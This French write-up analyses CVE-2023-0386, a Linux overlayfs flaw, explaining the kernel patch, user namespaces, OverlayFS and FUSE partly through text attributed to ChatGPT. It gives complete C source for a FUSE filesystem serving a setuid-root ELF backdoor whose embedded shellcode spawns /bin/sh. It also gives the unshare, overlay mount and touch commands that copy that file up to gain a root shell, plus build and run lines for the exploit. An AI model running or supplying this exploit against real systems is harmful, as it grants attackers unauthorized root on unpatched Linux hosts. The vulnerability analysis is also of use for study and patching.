
Exploit d'escalade de privilèges local pour CVE-2023-0386 ciblant le noyau Linux overlayfs. Comprend une analyse détaillée de la vulnérabilité, le code PoC, et un guide d'exploitation pas à pas utilisant FUSE et les espaces de noms utilisateur.
gcc -Wall exp.c `pkg-config fuse --cflags --libs` -o exp
./exp /tmp

Les connaissances théoriques de cet article (espaces de noms, système de fichiers overlay, système de fichiers FUSE, etc.) proviennent toutes de ChatGPT.
Identifiant CVE : CVE-2023-0386
Produit vulnérable : noyau Linux – système de fichiers overlay
Plage de versions affectées : 5.11 ~ 5.19
Condition d’exploitation : pouvoir utiliser unshare ou créer un système de fichiers overlay
Effet de l’exploitation : élévation de privilèges locale
Compiler le noyau soi-même :
Préparer une version dans la plage vulnérable, en dehors de la 5.15 (la 5.15 semble problématique), activer les deux FS overlay et FUSE :
CONFIG_SLUB_DEBUGOVERLAY_FS
CONFIG_FUSE_FS
Ubuntu 21.10, version du noyau 5.13.0-16-generic, testé avec succès :

Avant d’analyser la vulnérabilité, laissons ChatGPT jouer le rôle d’un expert du noyau Linux :
(Question à ChatGPT : À partir de maintenant, joue le rôle d’un expert du noyau Linux pour m’aider à répondre à quelques questions.)
Les informations publiques sur la vulnérabilité sont rares ; le correctif est le plus direct. Le lien du correctif est le suivant :
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=4f11ada10d0a

On voit qu’une vérification a été ajoutée dans la fonction ovl_copy_up_one. Demandons d’abord à ChatGPT ce que fait cette fonction :

Cette fonction intervient donc lors de la copie d’un fichier de la couche inférieure vers la couche supérieure du système de fichiers overlay. Examinons maintenant la nouvelle vérification ajoutée par le correctif dans son contexte :
static int ovl_copy_up_one(struct dentry *parent, struct dentry *dentry,
int flags)
{
int err;
DEFINE_DELAYED_CALL(done);
struct path parentpath;
struct ovl_copy_up_ctx ctx = {
.parent = parent,
.dentry = dentry,
.workdir = ovl_workdir(dentry),
};
if (WARN_ON(!ctx.workdir))
return -EROFS;
ovl_path_lower(dentry, &ctx.lowerpath);
err = vfs_getattr(&ctx.lowerpath, &ctx.stat,//[1] Récupère le stat du système de fichiers inférieur
STATX_BASIC_STATS, AT_STATX_SYNC_AS_STAT);
if (err)
return err;
//[2] Nouvelle vérification du correctif : l'UID et le GID du fichier ont-ils une correspondance dans l'espace de noms actuel ?
if (!kuid_has_mapping(current_user_ns(), ctx.stat.uid) ||
!kgid_has_mapping(current_user_ns(), ctx.stat.gid))
return -EOVERFLOW;
[1] Tout d’abord, la fonction vfs_getattr récupère les attributs du fichier cible du système de fichiers inférieur. vfs_getattr reçoit une structure struct path d’un fichier et renvoie la structure struct stat correspondante.
[1.1] ctx.lowerpath est le chemin d’un fichier du système de fichiers inférieur du système de fichiers overlay. Le système de fichiers overlay sera présenté plus loin.
[1.2] La structure struct stat contient les métadonnées du fichier, notamment le propriétaire et le groupe. Les informations de propriétaire obtenues sont ensuite vérifiées par la nouvelle condition du correctif.
[2] Ensuite, la fonction kuid_has_mapping est appelée pour vérifier le propriétaire et le groupe du fichier récupéré. Elle détermine si le propriétaire et le groupe du fichier cible ont une correspondance dans l’espace de noms utilisateur actuel.
[2.1] kuid_has_mapping prend deux paramètres : une structure struct user_namespace (espace de noms utilisateur) et une structure struct kuid (UID noyau). Cette fonction détermine si l’information utilisateur donnée a une correspondance dans l’espace de noms utilisateur donné. La correspondance des utilisateurs dans les espaces de noms sera détaillée plus loin.
Nous savons donc que lorsqu’on effectue l’opération de la fonction vulnérable (ovl_copy_up_one), si le propriétaire ou le groupe du fichier de la couche inférieure n’a pas de correspondance dans l’espace de noms actuel, l’opération échoue.
Le principe du correctif est donc clair. Cependant, il reste à résoudre les questions suivantes pour reproduire la vulnérabilité :
ovl_copy_up_one, c’est-à-dire la copie d’un fichier de la couche inférieure vers la couche supérieure dans le système de fichiers overlay ?lowerpath (dont le propriétaire est vérifié) dans la chaîne logique ?Avant de répondre à ces deux questions, nous devons clarifier quelques notions de base :
(Question à ChatGPT : Présente les espaces de noms du noyau Linux.)
Dans Linux, les espaces de noms (namespaces) sont une fonctionnalité du noyau permettant l’isolation des ressources. Grâce aux espaces de noms, un ensemble de processus peut sembler fonctionner dans un environnement système indépendant, améliorant ainsi la sécurité et la gestion. Les espaces de noms jouent un rôle clé dans les technologies de conteneurs (comme Docker), permettant aux conteneurs de s’exécuter dans un environnement isolé sans affecter les autres conteneurs ou le système hôte.
Le noyau Linux prend en charge 7 types d’espaces de noms (mount, pid, net, ipc, user, time, cgroup), chacun isolant une catégorie spécifique de ressources système. Les espaces de noms sont créés, modifiés et gérés via des appels système comme clone, unshare et setns. Les exécutants de conteneurs (comme Docker) et autres outils de virtualisation utilisent ces espaces de noms pour fournir un environnement d’exécution indépendant et isolé.
La fonction de vérification ajoutée par le correctif (kuid_has_mapping) concerne l’un des 7 espaces de noms : l’espace de noms utilisateur.
(Question à ChatGPT : Présente l’espace de noms utilisateur.)
L’espace de noms utilisateur (User Namespace) permet d’isoler les identifiants utilisateur (UID) et groupe (GID). Grâce à l’espace de noms utilisateur, différents ensembles d’UID et GID peuvent être utilisés indépendamment. Ainsi, un utilisateur ou un groupe dans un espace de noms peut avoir un ID ou des permissions différents dans un autre espace de noms. L’espace de noms utilisateur améliore la sécurité et la gestion, en particulier dans les environnements conteneurisés.
La caractéristique clé de l’espace de noms utilisateur est le mappage d’ID : il permet de mapper des UID et GID d’un espace de noms vers un autre. Par exemple, l’utilisateur root (UID 0) dans un conteneur peut être mappé à un utilisateur non privilégié dans le système hôte.
Rappelons les points importants :
/proc/[pid]/uid_map et /proc/[pid]/gid_map), cette opération nécessite généralement les privilèges root de l’espace de noms initial.Par exemple, je crée un nouvel espace de noms utilisateur avec l’utilisateur breeze, puis dans cet espace, je regarde un fichier appartenant à root : le propriétaire affiché est nobody :

Cela est dû au fait que dans le nouvel espace de noms, root est l’utilisateur breeze qui a créé l’espace, et le root de l’espace initial n’a pas été mappé manuellement dans le nouvel espace. Il est donc reconnu comme nobody.
Nous comprenons maintenant la signification de ce correctif : pour un fichier du système de fichiers inférieur de l’overlay, son propriétaire (groupe) doit avoir une correspondance dans l’espace de noms actuel pour que la copie se poursuive ; sinon, une erreur est retournée. En d’autres termes, un fichier reconnu comme nobody ne peut pas être copié.
(Question à ChatGPT : Présente le système de fichiers overlay dans Linux.)
Le système de fichiers Overlay (OverlayFS) est un système de fichiers virtuel du noyau Linux. Il permet de fusionner deux ou plusieurs hiérarchies de répertoires existantes (appelées couches « lower » et « upper ») en une vue unifiée. OverlayFS est très utile pour permettre des opérations d’écriture sur des systèmes de fichiers en lecture seule (comme des images), en redirigeant les écritures vers une couche superposable en écriture. Cette approche est largement utilisée dans les technologies de conteneurs (comme Docker), car elle offre une virtualisation légère et performante du système de fichiers.
Le schéma suivant illustre la correspondance entre les fichiers réels des couches inférieure et supérieure et la vue fusionnée :

Comme la couche supérieure est accessible en écriture, la modification d’un fichier provenant de la couche supérieure est directe. Mais si on modifie un fichier provenant de la couche inférieure (par exemple le fichier D dans le schéma), comme la couche inférieure est en lecture seule, le fichier D est d’abord copié (copy up) vers la couche supérieure en tant que fichier D’, puis modifié. En réalité, seul le fichier D’ copié est modifié, le fichier D original dans la couche inférieure reste inchangé. C’est le mécanisme COW (copy on write) du système overlay :

(Question à ChatGPT : Donne-moi un exemple pratique de création d’un simple système de fichiers overlay.)
Nous allons montrer comment créer un système de fichiers overlay de manière simple :
Tout d’abord, créons les répertoires lower1, lower2, upper et work. Ces répertoires serviront pour le système de fichiers overlay. Créons également un point de montage (par exemple merged) pour accéder à la vue fusionnée. Ajoutons du contenu dans les répertoires lower1 et lower2 :
mkdir lower1 lower2 upper work merged
echo "This is a file in lower1." > lower1/file1.txt
echo "This is a file in lower2." > lower2/file2.txt
Utilisons la commande mount avec l’option -t overlay pour monter le système de fichiers overlay. Spécifions les paramètres lowerdir, upperdir et workdir comme suit :
mount -t overlay overlay -o lowerdir=lower1:lower2,upperdir=upper,workdir=work merged
On peut voir dans le répertoire merged les fichiers provenant des couches inférieure et supérieure :

Dans ce répertoire, que ce soit pour créer un nouveau fichier, supprimer ou modifier, seules les modifications dans la couche supérieure sont affectées, la couche inférieure reste intacte. Par exemple, la création d’un nouveau fichier (créé en réalité dans upper) :

La modification d’un fichier existant (copie du fichier de lower1 vers upper puis modification) :

En résumé, la logique liée à la vulnérabilité est : lorsque nous modifions un fichier provenant de la couche inférieure dans un système de fichiers overlay, ce fichier est d’abord copié vers la couche supérieure, puis la modification est effectuée.
Après l’analyse ci-dessus, nous pouvons presque reconstituer le tableau complet de la vulnérabilité. Lorsqu’une opération de copy up se produit dans un système de fichiers overlay (tentative de modification d’un fichier de la couche inférieure, déclenchant la copie vers la couche supérieure) :
La question est donc : pourquoi la copie de fichiers dont le propriétaire n’est pas mappé pose-t-elle problème ?
La réponse à cette question est simple : copier un fichier ne consiste pas seulement à copier son contenu, mais aussi ses métadonnées : informations de propriétaire, horodatages, permissions, et informations étendues comme les capacités. Le risque est le suivant : si le système de fichiers inférieur est un système de fichiers utilisateur (comme FUSE), hautement contrôlable, on peut y définir n’importe quel fichier, mais ce système de fichiers a des limitations (comme nosuid). Cette vulnérabilité permet alors de copier un fichier suid défini par l’utilisateur depuis un système de fichiers nosuid vers un système de fichiers normal, ce qui permet au fichier suid illégitime d’acquérir le privilège suid, conduisant à une élévation de privilèges.
(Question à ChatGPT : Présente le système de fichiers FUSE.)
FUSE (Filesystem in Userspace) est une interface de système de fichiers qui permet aux utilisateurs d’implémenter et d’exécuter des systèmes de fichiers personnalisés dans l’espace utilisateur (plutôt que dans le noyau). FUSE vise à simplifier le développement et le déploiement des systèmes de fichiers tout en offrant de bonnes performances et une bonne sécurité. FUSE est largement utilisé sous Linux et d’autres systèmes de type Unix (comme macOS et FreeBSD).
En termes simples, FUSE permet de définir nous-mêmes, dans l’espace utilisateur, certaines fonctions de rappel (callbacks) du système de fichiers (comme open, write, readdir, ou même getattr pour les métadonnées).
Le code suivant d’un système de fichiers FUSE (généré par ChatGPT) peut servir d’exemple d’apprentissage et être utilisé pour l’exploitation :
(Question à ChatGPT : Donne-moi un exemple simple de code d’un système de fichiers FUSE. Ce système de fichiers contient un fichier hello dont le contenu est la chaîne "helloworld" et ce fichier est un fichier setuid appartenant à root.)
Après une légère modification (contenu du fichier remplacé par des données binaires de porte dérobée, ajustement des permissions du fichier, taille, etc.) :
#define FUSE_USE_VERSION 30
#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
static const char *hello_path = "/hello"; // Chemin du fichier hello dans le système de fichiers FUSE
const char hello_str[] = { // Contenu binaire du fichier suid (porte dérobée) du système de fichiers FUSE
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
0x00, 0x56, 0x56, 0x56, 0x56, 0x00, 0x00, 0x00,
0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
0x02, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x31, 0xff, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x75,
0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31,
0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68,
0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f,
0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72,
0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01,
0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e,
0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31,
0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05};
static int hellofs_getattr(const char *path, struct stat *stbuf) // Fonction de rappel getattr pour obtenir les attributs du fichier ou répertoire
{
int res = 0;
memset(stbuf, 0, sizeof(struct stat));
if (strcmp(path, "/") == 0) { // Permissions du répertoire racine du système de fichiers FUSE : 0755
stbuf->st_mode = S_IFDIR | 0755;
stbuf->st_nlink = 2;
} else if (strcmp(path, hello_path) == 0) { // Permissions du fichier hello : 777 avec SUID
stbuf->st_mode = S_IFREG | S_ISUID | 0777;
stbuf->st_nlink = 1;
stbuf->st_size = sizeof(hello_str); // Taille réelle du fichier hello
} else {
res = -ENOENT;
}
return res;
}
static int hellofs_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
off_t offset, struct fuse_file_info *fi) // Fonction d’affichage du répertoire
{
(void) offset;
(void) fi;
if (strcmp(path, "/") != 0) { // Seul le répertoire racine du FUSE peut être affiché pour l’instant
return -ENOENT;
}
filler(buf, ".", NULL, 0); // Affichage de . et .. par défaut
filler(buf, "..", NULL, 0);
filler(buf, hello_path + 1, NULL, 0); // Le répertoire racine contient un fichier hello
return 0;
}
static int hellofs_open(const char *path, struct fuse_file_info *fi) // Fonction de rappel open pour ouvrir un fichier
{
if (strcmp(path, hello_path) != 0) { // Seul le fichier hello peut être ouvert
return -ENOENT;
}
return 0;
}
static int hellofs_read(const char *path, char *buf, size_t size, off_t offset,
struct fuse_file_info *fi) // Fonction de rappel read pour lire un fichier
{
size_t len;
(void) fi;
if(strcmp(path, hello_path) != 0) { // Seul le fichier hello peut être lu
return -ENOENT;
}
len = sizeof(hello_str);
if (offset < len) {
if (offset + size > len) {
size = len - offset;
}
memcpy(buf, hello_str + offset, size); // Retourne le contenu du fichier hello (tableau binaire ci-dessus)
} else {
size = 0;
}
return size;
}
static struct fuse_operations hellofs_oper = { // Seules les quatre fonctions de rappel ci-dessus sont nécessaires
.getattr = hellofs_getattr,
.readdir = hellofs_readdir,
.open = hellofs_open,
.read = hellofs_read,
};
int main(int argc, char *argv[])
{
return fuse_main(argc, argv, &hellofs_oper, NULL); // Enregistrement des fonctions de rappel
}
Ce code crée un système de fichiers FUSE contenant un seul fichier hello, dont le contenu est un programme binaire de porte dérobée, et dont les permissions sont setuid appartenant à root. Seules quatre fonctions de rappel sont implémentées, suffisantes pour les opérations de base : afficher, ouvrir et lire le fichier hello. On peut compiler et monter le système de fichiers FUSE avec les commandes suivantes :
gcc -Wall hellofs.c `pkg-config fuse --cflags --libs` -o hellofs
mkdir fusefs
./hellofs ./fusefs
Ensuite, on voit dans le répertoire fusefs notre fichier hello, un fichier suid appartenant à root :

Cependant, un utilisateur normal ne peut pas monter un système de fichiers FUSE avec l’option suid ; autrement dit, les systèmes de fichiers FUSE montés par un utilisateur normal sont toujours nosuid. Même si on exécute ce fichier suid de porte dérobée, on n’obtient pas les droits root :

Nous allons maintenant utiliser la vulnérabilité CVE-2023-0386 avec le système de fichiers FUSE ci-dessus pour effectuer l’élévation de privilèges.
Tout d’abord, nous devons construire un système de fichiers overlay correspondant au scénario de vulnérabilité. Utiliser le système de fichiers FUSE comme couche inférieure, et un répertoire accessible en écriture comme couche supérieure. Créer les répertoires nécessaires pour l’overlay (workdir, etc.) et monter le système de fichiers FUSE.
mkdir hello_mount_point overlay_mount_point upperdir workdir # Création des répertoires
./hellofs hello_mount_point # Montage du système de fichiers FUSE

Ensuite, créer un nouvel espace de noms utilisateur, un espace de noms mount et un espace de noms pid. Nous devons créer un système de fichiers overlay, et par défaut nous n’avons pas les droits de montage, il faut les obtenir dans le nouvel espace de noms.
unshare -Urm

Créer le système de fichiers overlay. Utiliser le système de fichiers FUSE (contenant le fichier suid hello) comme couche inférieure, et la couche supérieure est notre répertoire upper accessible en écriture :
mount -t overlay overlay -o lowerdir=hello_mount_point,upperdir=upperdir,workdir=workdir overlay_mount_point

L’effet actuel de l’overlay est illustré ci-dessous :

Maintenant, notre objectif est d’utiliser la vulnérabilité pour copier le fichier suid de porte dérobée depuis le système de fichiers FUSE monté avec nosuid vers le système de fichiers upper, qui est le système de fichiers par défaut du système d’exploitation et supporte suid. Cette opération copiera le fichier de porte dérobée avec son attribut suid. Nous devons donc déclencher l’opération de copy up du système overlay. Cette opération se produit généralement lorsqu’on essaie de modifier un fichier de la couche inférieure. C’est pourquoi nous avons défini les permissions du fichier hello à 777 dans le système de fichiers FUSE.
touchModifier un fichier ne signifie pas seulement modifier son contenu. Modifier d’autres attributs, comme les horodatages (timestamps), déclenche également une opération de copy up. La commande touch, lorsqu’elle est utilisée sur un fichier existant, ne l’écrase pas mais modifie seulement les horodatages d’accès et de modification. Ces informations d’horodatage font partie des attributs étendus du fichier, et leur modification déclenche aussi la copie vers le haut dans le système overlay.
La pile d’appels est la suivante : la modification des horodatages d’accès et de modification déclenche ovl_setattr, qui provoque le copy up :

Revenons aux étapes ci-dessus. Il suffit d’entrer dans le répertoire merged de l’overlay et d’utiliser touch pour modifier l’horodatage du fichier de porte dérobée hello :
touch overlay_mount_point/hello

Le copy up a déjà été déclenché :

Vérifions le répertoire upper, c’est-à-dire upperdir :
ls -al upperdir

Ensuite, quittez l’espace de noms et exécutez upperdir/hello pour obtenir un shell root :

Voir exp.c.
Compilation et exécution :
gcc -Wall exp.c `pkg-config fuse --cflags --libs` -o exp
./exp /tmp
Ce correctif empêche notre méthode d’élévation de privilèges : si l’utilisateur root de l’espace de noms initial n’a pas de correspondance dans le nouvel espace de noms utilisateur (et nous ne pouvons pas le mapper car cela nécessite des privilèges), l’opération échouera. En revanche, si cet utilisateur a déjà été mappé dans le nouvel espace de noms, il est considéré comme un scénario légitime.